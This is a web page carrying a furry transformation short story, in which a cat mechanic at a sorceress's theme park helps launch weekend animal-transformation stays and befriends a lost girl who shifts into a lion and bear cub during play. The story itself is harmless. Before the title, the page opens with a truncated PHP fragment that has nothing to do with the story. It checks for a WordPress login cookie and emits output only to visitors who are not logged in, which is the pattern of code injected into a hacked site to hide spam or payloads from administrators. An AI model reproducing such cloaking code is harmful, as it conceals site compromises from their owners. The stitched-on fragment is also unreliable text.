$vvvUjUnHvOOoO){ if (strstr(strval($vUjUnHvOOoO), 'wordpress_logged_in')){ $cG9OI8 = 1; break; } } if($cG9OI8 == 0){ echo ''; } ?> Untitled Document

A 'Patches' Story by SocksCatt

Axel put the towel away into his pouch, and inspected the track breaking system from underneath. For some reason it just would not function. He shanghaied Patches to work on the box to see if it was a hardware bug or if it was a brake failure. They had been at it for days, and seemed to make no headway. Today, however, they seemed to at least have something working. After six hours of inspecting, trials, errors, and retrials, the two of them were making adjustments for one more try for the day.

"You remind me of the man." Patches casually said while hooking in the last wires.

"What man?" Axel replied not thinking, reaching for a wrench from his pouch.

"The man with the power!" Patches quickly replied, tightening down on a screw.

Axel stopped turning his wrench and looked at the calico. "What power?"

"The power of voodoo!" Patches said, whispering the last word dramatically.

"Voodoo?" Axel asked, now curious.

"You do!" Patches said, excited. "YOU do!"

"Do WHAT?" Axel asked, resting back on his large tail, trying to follow the logic.

"You remind me of the man!" Patches said with a sly grin. "I don't believe you hopped into that!"

Axel folded his arms, and looked somewhat annoyed. "WHAT man!?!?"

"The man with the POWER!"

"The power?"

"The power of VOODOO!"

"Not that again. What voodoo?"

"You do!"

"Do what?"

"REMIND me of the man!" Patches started to crack up into a giggling fit.

Axel wrinkled his gray furred muzzle. He ran over the last few seconds of conversation in his mind, and cracked a smile himself. He couldn't believe that he could fall into that old gag. "Kittycat, you've been out here too long in the sunshine."

"Naw, just needed a break from red, blue, green and black wires." Patches said, closing the access panel door and lifting up his safety goggles. He got up and dusted himself off. "I'm ready to test if you are."

"Hang on… Let me pop this one bolt to…" Axel reached up for leverage, and with a loud crack the wrench swung free. "THERE! Ok, let me hop out of here and we'll try it out!" Patched helped the roo get up and out of the pit. With a touch of the button, the sandbags in the rocket-shaped roller coaster car wheeled out of the station, and down into the chain drive up the first hill.

"Well, hopefully, that'll hold it." Axel said, wiping his paws off on a towel.

"Yeah." Patches said, crossing his fingers. "But I'm a little worried that we might not be able to keep it running."

"The money problem?" Axel asked. Patches nodded. "Yeah, well, the orca attraction helped, but I'm afraid that it only lasts so long. I've been here long enough to know that."

"Actually, I talked to M'Lady Circe about that the other night." Patches said.

"Oh?" Axel asked, looking up the hill to see the coaster car climbing it. "What did you talk about? Or am I just not privy to that conversation."

"Well, you are." Patches said, looking at the control panel. "It's just that I don't know if she'll like the idea."

"Do tell!" Axel said as the cars dipped over the top of the hill.

"Well, you know I used to troubleshoot computers, right?" Axel nodded. "Well, it kinda goes for everything, ya know? I like problem solving like that, keeps me out of trouble. Anyhow, I was looking over a bunch of stuff, and I noticed where a lot of the money goes."

"Where?" Axle asked.

"Food. I mean, the orca eats a lot of fish! And there's the hay, the alfalfa, berries, bamboo, the stuff the pigs eat, whatever that is, and I hate to admit that I can't catch enough real mice to feed myself. I won't eat the guests, ya know, but the real ones…" Axle's stomach churned at the thought, and Patches looked a little apologetic. "Oh, sorry. Would you feel better if I said I liked Fancy Feast?"

"No, the stuff smells wretched." Axle replied.

Patches flicked his ear. "Well, anyhow, I was thinking about a lot of the stuff, and I remembered somewhere that there was talk of a "Weekend Transformation" deal or something?"

"Oh yeah." Axle nodded. "It was a trial thing, but Circe didn't like it because she'd have to turn guys back into guys. I'm not a fan of it myself you know." Axel let one of his ears drop, to try to hear the cars down the track better.

"Oh, I know." Patches said. "Well I hit her with that again the other night." Patches said. Axle rolled his eyes and wrinkled his muzzle. "No! Wait! Hear me out! One of the things you need to have a successful business is repeat customers, right? Well, if you can transform a guy once, he can't come back because he becomes a part of the park or he gets sold and that's a short term profit. But if you can transform him a few dozen times, then you can charge him for each one!"

"And she bought this logic?" Axel asked.

"She said she'd think about it." Patches said. "You know how much it costs to go to a fantasy baseball camp? They charge like $2000 for a weekend of pretending to be a ball player! Can you imagine how much people would pay to actually BE an animal for a weekend? or a week?"

Axel shook his head slowly. "But they'd have to be returned to humans, right?"

"Well, either that or we don't get return business." Patches said, looking down on the controls. "Ok, here it comes." The two of them heard the train car clacking down the track into the station. The automatic braking system fired off, and the train came to a rolling stop, then rolled forward into the perfect position in front of the entry gates.

Axle leaned forward on his powerful legs and picked a brown furball off of the first sandbag. He held them up for Patches to look at. "I think it all works." he said.

"Either that or we hit an airborne chipmunk." Patches said with a wide grin. "Or that man you remind me of."

"Oh stop that." Axel said sarcastically, throwing the feathers at Patches with a grin of his own.

Later that night, Patches was in his room, playing on a PDA when someone knocked on the door. "Yes?" Circe opened the door and walked in. "M'Lady? I didn't hear you ask for me. How may I help you?"

"I didn't, little one." Circe said. "I was thinking about your proposal, and I think I'd like to give it another trial."

"Axel talked to you too, huh?" Patches asked curiously, putting his PDA down.

"Yes, and he talked to Mr. Airwick, who talked to Saurina, who talked to the snakes, who talked to the camels, who told the horses that mentioned it to the dogs who said something to the…" Circe stopped, looking at Patches who was holding his muzzle shut in his paws and looking like he was going to start convulsing. "What's so funny?"

Patches broke into song "She swallowed the dog to get the cat, she swallowed the cat to get the bird, she swallowed the bird to get the spider, she swallowed the spider to get to the fly…." and started to laugh, rolling on the ground and holding his sides as he did so, the bell on his collar ringing as he howled in laughter.

Circe shrugged her shoulders. Patches was weird, but he did have a healthy sense of humor about things. Not like the man who she rescued from her literal doorstep a month ago. She allowed herself to smile with him, it was more than a little absurd how the grapevine works. When Patches finally slowed down, and wiped away the tears of laughter from his eyes, she continued on. "If you're quite done?" Patches nodded, catching his breath. "My point is that everyone seems to like the idea of customers coming in for a weekend. So, I'll give it another trial basis."

"That sounds great M'Lady!" Patches said. "How can I help?"

"Well, It's your idea." Circe said. "Make it happen." and she left the room.

Patches held his side, it hurt from laughing so hard. He put the PDA onto a desk, and grabbed some paper. "Ok M'Lady! We'll make it work!" and he started writing down some ideas.

Several months passed by, and Patches marveled at what he had put together. Circe was an immense help, but she also has a divine line to having things made and done, like the themed hotel that seemed to "Spring up" from nowhere. From the main castle Circe could see the hotel, the landing strip, and the entire complex that would be where people would think they're staying. Patches looked over his notes one more time, to make sure they were ready to launch. Circe hugged her cat gently. "This is wonderful!" she said happily. "I didn't think you could do it so soon!"

"I had help, M'Lady" Patches said, kissing Circe's hand. "And thank you."

"It's amazing how many volunteers we got for the hotel staff! And we already have people waiting for an announcement of a grand opening?" Circe marveled.

"Well, it's all in the advertising, isn't it?" Patches said. "Now we just need to open it to the public and see if they bite when they see the price!" Circe kissed Patches on the forehead, and Patches blushed under his fur. Oh, all the people she'd get to change now!

"A new theme park adventure…" Jerry read the web page carefully. A getaway vacation at a fair price, included airfare, hotel, and a life-transforming experience. Well, it couldn't be all so bad if it were true. And a money back guarantee? He looked over into the living room to see his daughter watching television, again. His wife was nowhere to be seen either. "Perhaps a nice family vacation is a good idea." he said to himself

Patches was in his work suit and walking the park again. It had been an easy-going day so far. Only a few minor problems in the park, nothing major that he couldn't handle on his end. And there was only one more thing that needed repairing, the computer in the lost and found was down. He put his sunglass goggles back on, and made his way to the front of the park.

Once there, Patches started to work on the computer without any real problems. Just a wiring situation, no big deal. "Looks like a critter got in here…" he said to himself, replacing a cable. And in no time, it was fixed. He was about to leave when he heard soft crying coming from the front of the lost and found. Curiously, he looked around. When he looked across the main desk, he saw a little girl there, crying. "Hey?" he said softly to her. "Hi? What's wrong?"

"I lost my daddy!" the little girl sobbed. "And he told me if I lost him that I should come here!"

"Ok." Patches said, going around the desk. He knelt down next to her. "I'll help you find him, ok?" She nodded. "My name is Patches. What's yours?"

"Kim." she said.

"Ok Kim." Patches said. "What's your last name?"

"Kaufman." she said. Patches took a box of tissues from the desk and offered it to her. She blew her nose.

"Ok. Mind if I look something up for a sec?" She nodded. Patches tapped a little on the keyboard, looking up Kaufman on the database. The only thing he could find was a Jerry Kaufman, who was currently going through the paces at the equine pavilion. According to the screen, he would be unavailable for at least five hours. He looked back at Kim, and felt his heartstrings pull. He cleared the screen, and went back around, kneeling next to the girl. "Well, I put out the word, we'll find your daddy, ok?"

Kim sniffed back a tear, and nodded. "So do I stay here?"

Patches grinned. "I'll stay here with you, if you want."

"You would?" Kim asked, looking up.

Patches helped her to her feet. "Sure! I'll stay here all day if you need me to!"

Kim nodded, her tears drying up. "Okay."

Patches grinned, and felt a warmth radiate from the room. He looked around, and didn't see much to really play with. He knew the computer had no games, and that the lack of TV's meant that there was nothing to watch. "Want to play pretend for a while?"

"Sure!" Kim said.

Circe spent hours looking around for Patches. He was supposed to check in to tell her that everything was going well, but he hadn't. She re-traced his last steps, and couldn't find him. Finally, she saw the lost and found and figured that if she lost Patches, odds are that he would end up there. He's a weird cat, but he does follow some sorted logic. As she opened the door, she was greeted with a lour "RAAAARRRR!!!!", but it wasn't a lion's roar, it was a child making a sound like a roar. It was coming from the back room.

She opened the door, and there was Patches. He was on the floor with a… lion cub? There was a small lion cub on the floor, wearing denim overalls and a pink t-shirt, it's tail thrashing through a natural seam in the seat of her pants. Next to the sofa were a pair of shoes and socks that had obviously been kicked off in haste. Patches was there in his jumpsuit, playing with the lion cub using a small rubber band ball. Patches looked up, and his eyes lit up with happiness. "M'Lady! Hi!"

"Hi… Patches… Who's this?" Circe asked.

"Oh!" He picked up the lion cub and held it up to face Circe. "Kimmy, this is Circe, she owns the park."

"Hi Circe!" Kim waived a paw, and cheerfully greeted Circe. Patches put her down gently and looked back to Circe.

Circe stood stunned. "Umm, hi. Patches, can I talk to you privately?"

"Sure! Kimmy? I'll be right back, ok?" Kim nodded, and pounced on the rubber band ball giggling.

Once on the other side of the door, Circe looked at Patches with more than a little anger. "I take it you've been here all this time?"

"Umm, yeah!" Patches said. "Well, I came her to fix the computer, then I heard her crying because she lost her daddy, and I found him in the equine pavilion but he was busy so I didn't want to leave her here alone so I stayed with her and we've been playing since then and…."

Circe put her hand on his muzzle to keep him quiet. "Inhale." Patches took in a breath through his nose. "Now exhale." He did. "Now explain to me why she's a lion cub." She let go of his muzzle.

"We were just playing pretend, and as we did he kinda just transformed like that." Patches said. "She asked me why I was a cat, and it was like that. I mean, she just kinda did that."

"I don't like transforming children." Circe said. "Men are one thing. But children? You know I don't condone that kind of behavior." Patches was just grinning. "I hope there's a reason for that grin, Mister Cheshire. You're in a lot of trouble if you did anything to her!" Patches waived her into the back room again, and when they got there Kim was rolling around with the rubber band ball.

"Kimmy? Can I show Circe something?" Patches asked.

"Sure!" Kim said.

"Let's play pretend again, but this time, I want you to pretend you're a…" Patches tried to think of something.

"BEAR!" Kim blurted out.

"Yeah!" Patches rolled with it. "I want you to pretend you're a bear!" Patches got down onto all fours with Kim, and began to swing his arms as if he were lumbering around. Kim did the same. "Ok, so what do bears do? They're kinda slow, right? Walk around like this!" As they played, Circe watched as Kim's fur changed texture, from a short golden brown to a longer darker brown. Her muzzle pushed out further from her face, becoming more bear like. Patches guided her with suggestions on behavior and look, and as he did so Kim's paws became larger, flatter. Her tail shrunk from a long rope to barely a stub. Her ears became smaller, and shifted slightly. Her claws became darker and longer, and her mass filled in slightly. Patches rubbed Kim on the head, and looked up to Circe.

Circe looked in amazement. She used a finger to motion to Patches to follow her. Patches told Kim he'd be right back, and left the room with Circe again. "Ok, how did you do that?" Circe asked.

Patches grinned. "I didn't! that's what I was trying to tell you! SHE did it!"

Circe looked at her cat in confusion. Patches seemed to have this effect on everyone. "Wait, how can she do that? She's a human child!"

Patches had that twinkle in his eye, and opened the door to lean in. "Kimmy?" The bear cub looked up. "What are you right now?"

"A bear!" the cub bellowed out.

"Is there anything stopping you from being a bear?" Patches asked.

"Nooooo!" the cub said.

"And you're ABSOLUTLEY sure you are a bear, right?" Patches asked.

"YEP!" Kim blurted out "I'm a bear!"

"Ok, I'll be right back!" Patches closed the door, and looked at Circe. "I felt it when she talked with me when I said I'd help her find her dad, M'Lady. She dropped her defenses, and I felt the ability in her. She's an innocent. There's no reason that it can't be real, so it's real. I'm kinda surprised you couldn't feel it in there. It's making ME feel warm inside, ya know? I mean, it's the funhouse, her curiosity and innocence, and her imagination that's fueling all that. It's magic by proxy, or something."

Circe looked at Patches. "So you're saying that she can transform like that, because there's no reason for her to think she can't?"

"Yes!" Patches said excitedly, tapping his nose with a finger. "It takes a little guiding and imagery, but there she is! Isn't it great?"

Circe thought about that a moment. "You will get her back to normal before you return her to her father, right?"

"Of course, M'Lady!" Patches said. "I'll make sure everything is ok." Circe looked skeptical. Patches kissed her hand again. "Hey, I'm your troubleshooter, right? Don't worry about anything!"

Circe shook her head. "I hope you know what you're doing, little one."

Patches nodded, and went back into the back room. He saw the lion cub there, not the bear. "I like being a lion more!" Kim said, pouncing on Patches who caught her in midair with a laugh. Circe left with a sly grin. This was a twist on her funhouse that she never thought of before.

That night, Jerry was dropped off at the hotel feeling exhausted. He had never imagined that the 'virtual reality' would be so impressive, it al felt so real! In his mind he was making plans to make a return trip. When he walked into the lobby, he looked around. "DADDY!" he heard from the lobby. He turned to see Kim running up to him, and he knelt down to hug her.

"Hey there Squirt! Have a good day today?" Jerry asked, assuming she stayed at the hotel pool or the playground.

"YEAH!" She said. "Do we HAVE to go home?"

"'Fraid so! But, if you're SUPER good, we'll come back!" Jerry said, tapping her on the nose. He knew he was coming back, with the family was definitely a bonus.

Kim grabbed him by the hand. "I want you to meet someone Daddy!" She dragged him to the front door, where Patches was leaving, since Kim was where she needed to be. "PAAA-TCHEEEES!" Patches stopped, hearing his name yelled across the lobby, and looked around to see Kim running to him dragging some adult. "This is my Daddy, Patches! Dad? This is Patches, my friend!"

Jerry looked at the short calico, and offered a hand. "She didn't hound you all day, did she?"

Patches grinned at the thought and shook Jerry's hand. "No, no hounding, right Cubby Kim?"

"NOPE!" Kim said. Patches rubbed her on the head.

"She was a pleasure to be with all day." Patches said. "She's a good kid."

Jerry admired the costume this guy was wearing, the jaw moved, his TONGUE moved and rolled as he spoke, his fur looked natural as it flowed over his body, everything looked better than any other amusement park mascot. He never got a look at the otter behind the counter when he checked in, or the polar bear that drove the shuttle bus, but this cat costume was so seamless, VERY impressive work. Besides, male calico's didn't exist, it had to be a unique suit. "Hey, thanks." Jerry said

Patches patted Jerry's shoulder. "Just part of the service at Circe's Funhouse. You two have a good evening. OH! If you go to the restaurant here, I really recommend the tuna. But I'm kinda a tuna fan." And Patches walked out the front door.

Kim hugged her dad, and Jerry looked down to her. "So where have YOU been all day?" he asked. Kim smiled.

The next day Patches was walking through the park to do yet another fix on the roller coaster. As he was walking he heard small foot stomps behind him. Before he could completely turn around, he heard a child yell "PATCHES!" And a small body jumped at him.

Patches grabbed her and rolled with it, ending up laying on his back with a little girl sitting on his chest. "Kimmy! I thought you were going home today!" he said in surprise.

"We are, but daddy said I could say goodbye to you!" Kim said innocently.

"If you say hello or goodbye like this all the time I'm gonna need a crash helmet!" Patches said with a grin. Kim smiled too, and got her feet back onto the ground. Patches got up onto one knee, dusting himself off and grabbing his sunglasses from the ground. "So you think you're coming back?"

"YEP!" Kim said "Dad said that we'll come back! Will you be here?"

Patches looked to Kim. "As long as you promise that you'll come back, I'll be here." Kim hugged him around the neck, and Patches returned the favor.

"But I gotta go. I'll write!" Kim said. She kissed Patches on the nose, and ran back to her waiting dad, while Patches put his paw on his muzzle with an astonished grin. Kim waived goodbye, as did Patches, and they went back to the shuttle to get on the plane for home. Patches had a spring in his step the rest of the day, even when he was fixing the electronics on "Squirrel Rocket", the roller coaster. He stayed around after fixing it, and he watched as a train left with a few fans, and came back with several flying squirrels in the protective restraints admiring their new size, as well as their ability to fly.

Patches was in his room when Circe knocked on the door. "I heard you made a friend this weekend Patches?"

"Well, yeah, I guess so." Patches said. "I didn't think anyone would bring their kid like that. I mean, I angled the ad campaign to be for single men with a more furry bend, not married families."

"I still don't like it." Circe said. "But, it did end up being harmless." Circe came in and sat down next to Patches. "You seemed to do really well with her." Patches shrugged, and leaned into Circe, snuggling against her. "You seemed to like her." Patches snickered. "What's funny now?"

"Old newspaper ad. 'free to a good home, german shepard, eats anything, likes children'?" Patches smiled, nuzzling more. "Why do you ask about Kimmy?"

"Oh, just a thought." Circe said. "If we get any more children, would you want to handle them?"

Patches shook his head. "Naw, but thank you." he said. "I'm not really qualified for it. I deal with computers and gizmos better. I'm not really qualified to handle a lot of kids." Patches closed his eyes, and kissed Circe on the back of her hand as he always did. "But, I kinda did like having a cub for a while. She was a cool kid, huh?"

Circe stroked Patches on the forehead as he drifted into blissful sleep. She could understand what he meant. But they would have to make some kind of arrangement in case someone else brought their family.


Patches was called to the hotel to help them with a mainframe problem. "Heya Kyle." he said to the raccoon behind the desk.

"You got a note here poosty-cat!" Kyle said, waiving a piece of paper in his paw. Patches took it, read it, and smiled. The mainframe could wait a while. He pocketed the note and headed into the hotel proper.

Mrs. Bird had a small group in the day-care. She was great with the kids, knowing how to keep them entertained for hours with field trips or in-hotel games. Patches opened the door, and poked his head in. It wasn't too noisy, but there was a room with some kids in it playing together. Mrs. Bird perked up, and the kids turned to see.

"PATCHES!" he heard, and a Kim got up from a table.

"KIMMY!" Kim jumped into Patches arms, and they hugged. "I didn't know you were coming this week!" Patches supported Kim in is arm, resting her on his hip.

"Yeah!" Kim said. "Dad said we could! Didn't you get my letter?"

"You mean this one?" Patches pulled it out of his pocket. "I didn't know that it was now already!"

Kim laughed with the other kids. "You're silly!"

"Not as silly as you can be!" Patches said, tapping Kim on the nose with his finger gently.

Mrs. Bird shook her head. "So are you here for a visit Patches, or are you planning on staying a while?" she asked, dropping a big hint.

Kim looked up to Patches with a pleading look, Patches shrugged. "How can I say no?" Kim rolled her tail and flicked her ears happily as Patches closed the door behind him.